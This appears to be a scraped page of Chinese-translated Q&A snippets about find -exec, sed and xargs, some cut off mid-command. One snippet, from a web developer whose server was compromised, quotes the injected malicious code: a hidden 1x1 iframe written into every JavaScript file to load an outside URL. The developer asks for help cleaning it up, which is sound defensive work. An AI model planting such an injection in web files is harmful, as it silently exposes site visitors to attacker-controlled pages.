以下命令正在更改2个文件的内容.
sed -i 's/abc/xyz/g' xaa1 xab1
Run Code Online (Sandbox Code Playgroud)
但我需要做的是动态更改几个这样的文件,我不知道文件名.我想编写一个命令,它将从当前目录开始读取所有文件,xa*并且sed应该更改文件内容.
我已经开始在linux终端中组合不同的命令.我想知道为什么命令需要反斜杠和分号,例如:
find ./ -name 'blabla' -exec cp {} ./test \;
Run Code Online (Sandbox Code Playgroud)
当一个简单的cp命令是简单的:
cp randomfile ./test
Run Code Online (Sandbox Code Playgroud)
没有\;
它们是清楚地表明命令的结束,还是仅仅是文档中的要求?基本原则是什么?
谢谢!
我在一个目录中有数百个目录和文件.
删除目录的最佳方法是什么(无论目录中是否包含任何内容,只需删除它们)
目前我使用ls -1 -d */,并将它们记录在一个文件中,然后执行sed,然后运行它.这很长.我正在寻找更好的方法来删除目录
如何在当前目录及其子目录中显示大于10k字节的所有文件.
试过ls -size +10k但是没用.
使用这组命令,{}和\是什么?人物为?
find . -name '*.clj' -exec grep -r resources {} \;
Run Code Online (Sandbox Code Playgroud) 我是一名网络开发人员.我检查了许多OSS项目并构建它们.节点模块因创建太多小文件而臭名昭着.我因此而耗尽了免费的iNodes.我想要一个简单的方法(在linux中)查找所有内容node_modules并删除不需要的内容.我使用以下命令列出所有node_modules目录,然后手动删除它们.
find ~/projects -name node_modules -prune
Run Code Online (Sandbox Code Playgroud)
是否有一流的实用程序可以提供更好的管理方式node_modules?
为什么在下面的示例中“没有这样的文件或目录”?有一些解决方法可以避免出现此错误,问题是为什么在这个确切的示例中会产生错误。
cd /tmp
mkdir -p TOP1/AB/AC/AD/AE/AF
mkdir -p TOP2/AB/AC/AD/AE/AF
find . -iname 'A*' -exec rm -rvf {} \;
removed directory: `./TOP1/AB/AC/AD/AE/AF'
removed directory: `./TOP1/AB/AC/AD/AE'
removed directory: `./TOP1/AB/AC/AD'
removed directory: `./TOP1/AB/AC'
removed directory: `./TOP1/AB'
find: `./TOP1/AB': No such file or directory
removed directory: `./TOP2/AB/AC/AD/AE/AF'
removed directory: `./TOP2/AB/AC/AD/AE'
removed directory: `./TOP2/AB/AC/AD'
removed directory: `./TOP2/AB/AC'
removed directory: `./TOP2/AB'
find: `./TOP2/AB': No such file or directory
Run Code Online (Sandbox Code Playgroud)
使用-depth或\+或-delete修复此问题:
find . -iname 'A*' -exec rm -rvf {} \+
find . …Run Code Online (Sandbox Code Playgroud) !/bin/bash
for file in ~/tdg/*.TXT
do
while read p; do
randvalue=`shuf -i 1-99999 -n 1`
sed -i -e "s/55555/${randvalue}/" $file
done < $file
done
Run Code Online (Sandbox Code Playgroud)
这是我的脚本。每次找到它时,我都试图用不同的随机数替换 55555。这目前有效,但它用相同的随机数替换了 55555 的每个实例。我试图用 $p 替换 sed 命令末尾的 $file ,但这只是失败了。
真的,即使我说到点是同一行上的每个实例都具有相同的随机数,但是每行使用一个新的随机数,那么我会很高兴。
编辑
我应该指定这一点。我想将替换的结果实际保存在文件中,而不仅仅是将结果打印到控制台。
编辑
在 JNevill 的出色帮助之后,我的脚本的最终工作版本:
!/bin/bash
for file in ~/tdg/*.TXT
do
while read p;
do
gawk '{$0=gensub(/55555/, int(rand()*99999), "g", $0)}1' $file > ${file}.new
done < $file
mv -f ${file}.new $file
done
Run Code Online (Sandbox Code Playgroud) 问题:
我的网络服务器最近遭到入侵.他们针对javascript文件.他们插入了以下代码段
document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>')
Run Code Online (Sandbox Code Playgroud)
这被添加到服务器上每个.js文件的顶部.
解决方案:
编写一个脚本来打开我服务器上的每个javascript文件,检查恶意代码,删除恶意代码,最后保存文件.
问题:
脚本应该用什么编程语言编写?python会起作用吗?我在我的服务器上运行python 2.4.3.如果我在root下运行python脚本,我将不得不担心意外更改已修改文件的所有者权限?
谢谢
寻找solaris命令获取包含搜索模式的所有文件的列表(递归).我知道如何为linux做这个,但同样的命令在solaris中不起作用:
bash-3.2# uname -a
SunOS D1NCIC-CL01 5.10 Generic_148888-03 sun4u sparc SUNW,Sun-Fire-15000
bash-3.2# find . -type f -print0 | xargs -0 grep -l "contentInFile"
xargs: illegal option -- 0
xargs: Usage: xargs: [-t] [-p] [-e[eofstr]] [-E eofstr] [-I replstr] [-i[replstr]] [-L #] [-l[#]] [-n # [-x]] [-s size] [cmd [args ...]]
find: bad option -print0
find: [-H | -L] path-list predicate-list
Run Code Online (Sandbox Code Playgroud) 我明白这个命令
/some/directory/至少 4 天前的所有文件cannot remove '.../someDir': Is a directory)。有人可以解释-exec rm {} \;?
find /some/directory/* -mtime +4 -exec rm {} \;
Run Code Online (Sandbox Code Playgroud)
特别是,{}和的含义是 \;什么?是{} \;的参数-exec?